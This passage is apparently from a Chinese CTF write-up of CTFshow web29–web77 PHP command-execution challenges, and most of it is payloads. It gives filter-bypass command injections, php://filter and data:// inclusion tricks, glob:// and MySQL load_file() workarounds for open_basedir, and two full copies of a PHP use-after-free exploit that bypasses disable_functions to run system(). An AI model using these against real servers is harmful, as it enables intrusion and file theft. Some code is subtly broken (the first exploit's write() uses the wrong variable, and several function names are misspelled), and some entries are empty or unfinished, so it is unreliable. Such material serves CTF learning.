所以就相当于一个新的PHP文件,这样的话就需要将最开始前面的<?php给闭合,不然不会执行。
闭合之后就相当于
<?php
?>
<?=`ls`;

liunx下的目录

在linux下我们经常用到的四个应用程序的目录是/bin、/sbin、/usr/bin、/usr/sbin 。而四者存放的文件一般如下:

/bin

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、base64、mkdir、more、mount、rm、su、tar等。

有很多种玩法

1
2
3
/bin/?at${IFS}f???????
//可以理解为当前目录运行cat命令实际上运行的也是bin/cat,而通配符不会帮你去找到bin下面的cat
只会在当前目录寻找能通配的文件,所以用通配符运行时必须给出路径
1
2
3
/???/????64%20???????? 
//当过滤数字时可以这样使用
//匹配的是/bin/base64 flag.php

/usr/bin

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、bzip2、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

可以这样玩:

1
2
3
/???/???/????2%20????????
//匹配的时/urs/bin/bzip2 flag.php
//把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。

/sbin

主要放置一些系统管理的必备程序例如:cfdisk、dhcpcd、dump、e2fsck、fdisk、halt、ifconfig、ifup、 ifdown、init、insmod、lilo、lsmod、mke2fs、modprobe、quotacheck、reboot、rmmod、 runlevel、shutdown等。

/usr/sbin

放置一些网路管理的必备程序例如:dhcpd、httpd、imap、in.*d、inetd、lpd、named、netconfig、nmbd、samba、sendmail、squid、swap、tcpd、tcpdump等

综述

如果这是用户和管理员必备的二进制文件,就会放在/bin。如果这是系统管理员必备,但是一般用户根本不会用到的二进制文件,就会放在/sbin

相对而言。如果不是用户必备的二进制文件,多半会放在/usr/bin如果不是系统管理员必备的工具,多半会放在usr/sbin

一些命令的骚操作

mv命令

使用mv命令来创建一个txt文本之后访问即可

image-20210522221542485

copy命令和rename命令

通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)

用法:

1
2
copy("flag.php","flag.txt");      
rename("flag.php","flag.txt");

image-20210522223917757

image-20210522224219340

image-20210522224039518

Exit()、die()命令

有些时候要提前结束命名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>
//直接用exit()结束就好了

image-20210522224842600

所以要使用exit()函数提前结束程序

1
c=include("/flag.txt");exit;

ob_get_contents()函数返回输出缓冲区的内容,但不清除它

image-20210522224756958

CTFshow题目write up

web29

1
2
3
4
5
if(!preg_match("/flag/i", $c)){
//只过滤flag【不区分大小写】
?c=system("cat fl*.php");
?c=echo `nl fla''g.php`;
?c=echo `cat fla''g.php`;

web30

1
2
3
4
if(!preg_match("/flag|system|php/i", $c)){
//过滤了文件名、一个系统命令执行函数、php【不区分大小写】
?c=echo `nl fl''ag.p''hp`;
?c=passthru("nl fl''ag.ph''p");

web31

1
2
3
4
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
//过滤了文件名、system、php、cat、sort、shell、点号、空格、单引号【不区分大小写】
?c=passthru("nl%09`ls`");
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));//无参数rce

web32

1
2
3
4
5
6
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
//过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、;、左括号【不区分大小写】
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64- encode/resource=flag.php
?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php

web33

1
2
3
4
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
//过滤了flag、system、php、cat、sort、shell、.、空格、'、`、echo、;、“、(不区分大小写
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34

1
2
3
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
//过滤了flag、system、php、cat、sort、shell、.、空格、'、`、echo、;、(、:、"不区分大小写
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

1
2
3
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
//过滤了flag、system、php、cat、sort、shell、.、空格、'、echo、;、(、:、"、<、=不区分大小写
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36

1
2
3
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
//过滤了flag、system、php、cat、sort、shell、.、空格、`、echo、;、(、:、"、<、=、/数字 不区分大小写
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}
//文件包含?
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
//<?php system('cat flag.php');?>
?c=data://text/plain;base64,PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4=
//<?php include('flag.php');echo $flag?>

web38

1
2
3
4
5
6
7
//flag in flag.php
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
//过滤了flag、php、file
?c=data://text/plain;base64,PD9waHAgZWNobyhpbmNsdWRlKCdmbGFnLnBocCcpKTs/Pg==

web39

1
2
3
4
5
//flag in flag.php
if(!preg_match("/flag/i", $c)){
include($c.".php");

}?c=data://text/plain/text,<?php%20system(%27cat%20f*%27);?>

web40

1
2
3
4
5
6
7
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
//过滤了数字、~、`、@、#、$、%、^、%、&、*、(、)、-、=、+、{、[、]、}、:、'、"、,、<,.、>、/、?、\\不区分大小写
//打眼一看没过滤字母可以用无参数代码RCE但是括号给我过滤,还玩犊子啊?再一看,淦,这个是中文括号。牛....那就直接无参数开搞,和前面说的一样。首先先造点读目录。
① ?c=print_r(scandir(pos(localeconv())));
//然后根据回显,改逆向数组逆,该换位换。干就完了
② ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web41

1

web42

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
//看看题发现后面跟了个重定向,>/dev/null 2>&1的意思是将命令的输出丢弃,错误输出也丢弃。但是这仅仅影响它本来的那一条命令,分隔命令即可,也就是命令执行中的执行多条命令。
//也可以用%0a【换行符URL】%26【&URL】%26%26和||
//payload:
?c=cat flag.php;
?c=sed -n '1,75p' flag.php||
?c=tail -n +15 flag.php|| or head -n +15 flag.php|| or
?c=cut -c- flag.php||
?c=more flag.php|| or less flag.php||
?c=strings flag.php||
?c=od -bc flag.php||
?c=awk '{print $1,$15}' flag.php||
//亲测:%0d 回车符失败

web43

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
//和上一题一样,只不过过滤了;和cat且不区分大小写,和没过滤没啥区别
?c=nl fla*%26
?c=c\at flag.php%0a

web44

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
//和上一题一样,只不过过滤了;和cat以及flag且不区分大小写,和没过滤没啥区别
?c=nl fla*%26
?c=c\at f\lag.php%0a

web45

1
2
3
4
5
6
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
//过滤了;、cat、flag和空格不区分大小写
//代替下空格就好了
?c=tac%09fla*%0a
//亲测<、<>、%20、$IFS不行

web46

1
2
3
4
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
//过滤了"、;、cat、flag、空格、数字、$、、*并且不区分大小写
?c=nl<fla%27%27g.php||

web47

1
2
3
4
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
//过滤了;、cat、flag、空格、数字、$、*、more、less、head、sort、tail且不区分大小写
?c=nl<fla%27%27g.php||

web48

1
2
3
4
5
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
//过滤了;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`且不区分大小写
?c=nl<fla''g.php%26
?c=nl<fla''g.php||

web49

1
2
3
4
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
//过滤了;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、%且不区分大小写
?c=tac<fla''g.php||

web50

1
2
3
4
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
//过滤了;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、%、x09【制表符】、x26【&】且不区分大小写
?c=tac<fla%27%27g.php%0a

web51

1
2
3
4
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
//过滤了;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、%、x09【制表符】、x26【&】且不区分大小写
?c=tac<fla''g.php||

web52

1
2
3
4
5
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
//过滤了;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、tac、sed、cut、awk、strings、od、curl、`、%、x09【制表符】、x26【&】、<、>且不区分大小写
?c=nl$IFS/fla''g||
?c=ta\c${IFS}/fla\g||

web53

1
2
3
4
5
6
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
//过滤了;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、tac、sed、cut、awk、strings、od、curl、`、%、x09【制表符】、x26【&】、<、>且不区分大小写
?c=ca''t${IFS}fla''g.php
?c=nl$IFS\fla''g.php

web54

1
2
3
4
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
//过滤了;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、tac、sed、cut、awk、strings、od、curl、nl、scp、rm、`、%、x09【制表符】、x26【&】、<、>且不区分大小写,【.号匹配除换行符外的任意字符】
?c=/bin/?at${IFS}f???????

web55

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
//过滤了;、所有字母、`、%、x09【制表符】、x26【&】、>、<不区分大小写
//瞄一眼,没过滤数字也没过滤/那我们可以用/bin,/usr/bin来玩这道题。
?c=/???/????64 ????????
//其实就是/bin/base64 flag.php,为什么不用???去匹配cat呢?因为字母全被过滤没办法?at且在/bin下cat并不是唯一一个三个字母的,而数字没被过滤所以就用base64(个人理解,大佬勿喷QAQ)
?C=/???/???/????2 ????????
//这个利用的就是/usr/bin/下的bizp2,把flag.php压缩下来然后访问flag.php.bz2下载下来就好了

web56

1
2
3
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
//过滤了;、所有字母、`、%、x09【制表符】、x26【&】、>、<、$、(、{、'、"、`、%不区分大小写

在这个之前我们需要构造一个post上传文件的数据包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后抓包如图

image-20210522164043017

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

然后在上传文件内容添加sh命令

1
#!/bin/sh

image-20210522165619332

web57

1
2
3
4
5
6
7
8
9
10
11
//flag in 36.php
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
//过滤了;、所有字母、`、\、#、%、?、*、-、[、x09【制表符】、x26【&】、>、<、$、(、{、'、"、`、%不区分大小写
//其实看一眼.php就明白了,他想让我们捏出来36
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

web58

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
//乍一看欸都没过滤,但是试过之后发现奶奶有disable_functions
//file_get_contents()、highlight_file()、show_source()、fgets()、file()、readfile()这些都可以用
c=highlight_file("flag.php");
c=show_source("flag.php");
c=
$a=fopen("flag.php","r");
while($b=fgets($a)){
echo $b;
}

web59

1
2
3
4
5
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
//file_get_contents()、show_source、fgets()、file()这些都可以用
c=show_source("flag.php");

web60

1
2
3
4
5
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
//c=show_source("flag.php")
也可以用copy()、rename()命令

web61-web66就不贴了都是和web60一样

web67

1
2
3
4
5
6
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

image-20210522232858074

啊这?不在flag.php里用var_dump(include("/"));遍历一下目录看看

image-20210522233015800

原来在flag.txt里啊

1
2
c=var_dump(sandir("/"));
c=highlight_flie('flag.txt');

web68

1
2
3
4
5
#Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
//一打开是这样的有点蒙蔽,就是说highlight_file()被过滤了呗

c=var_dump(sandir("/")); //先看一下目录,还是flag.txt
c=include("flag.txt"); //过滤了highlight_file就可以用include直接文件包含啊

web69

1
2
3
4
5
6
7
8
#Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
//var_dump被过滤了,print_r被过滤了
c=
$a=scandir("/");
foreach($a as $value){
echo $value." ";
} //遍历一下目录
c=include("/flag.txt");

web70

1
同上

web71

1
2
3
4
5
6
7
8
9
10
11
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
//u1s1这个后面的过滤没用。用exit或者die提前结束进程,使得后面的代码并不执行
c=include("/flag.txt");exit();

web72

1
2
3
4
5
6
7
8
9
10
11
c=$a="glob:///*.txt";
if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$file."\n";
}
closedir($b);
}
exit();
//得到flag0.txt
c=inculde("/flag0.txt");exit();
//是不可以的,因为这个文件并不在open_basedir里需要去绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
<?php

pwn("uname -a");

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($ptr & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = my_strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function my_str_repeat($a,$b){
$s = '';
for($i = 0; $i <= $b;$i++){
$s.=$a;
}
return $s;
}
function my_strlen($a){
$n = 0;
for($i = 0; $i <= INF;$i++){
if($a[$i]!==''){
$n++;
}else{
break;
}
}
return $n;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(my_str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(my_str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(my_strlen($abc) == 79 || my_strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

web73

没有open_basedir,直接scandir都行,是/flagc.txt,然后include也没过滤,直接include就行了。

web74

同上

web75

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit();
//读出flag36.txt
//大师傅们说数据库的连接是读配置文件得到的。至于配置文件在哪。。鬼知道。。。不过这种拿SQL语句来读文件绕过open_basedir和disable_function的姿势实在是第一次见,学到了学到了。
c=

try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');

foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);

web76和75一样

web77

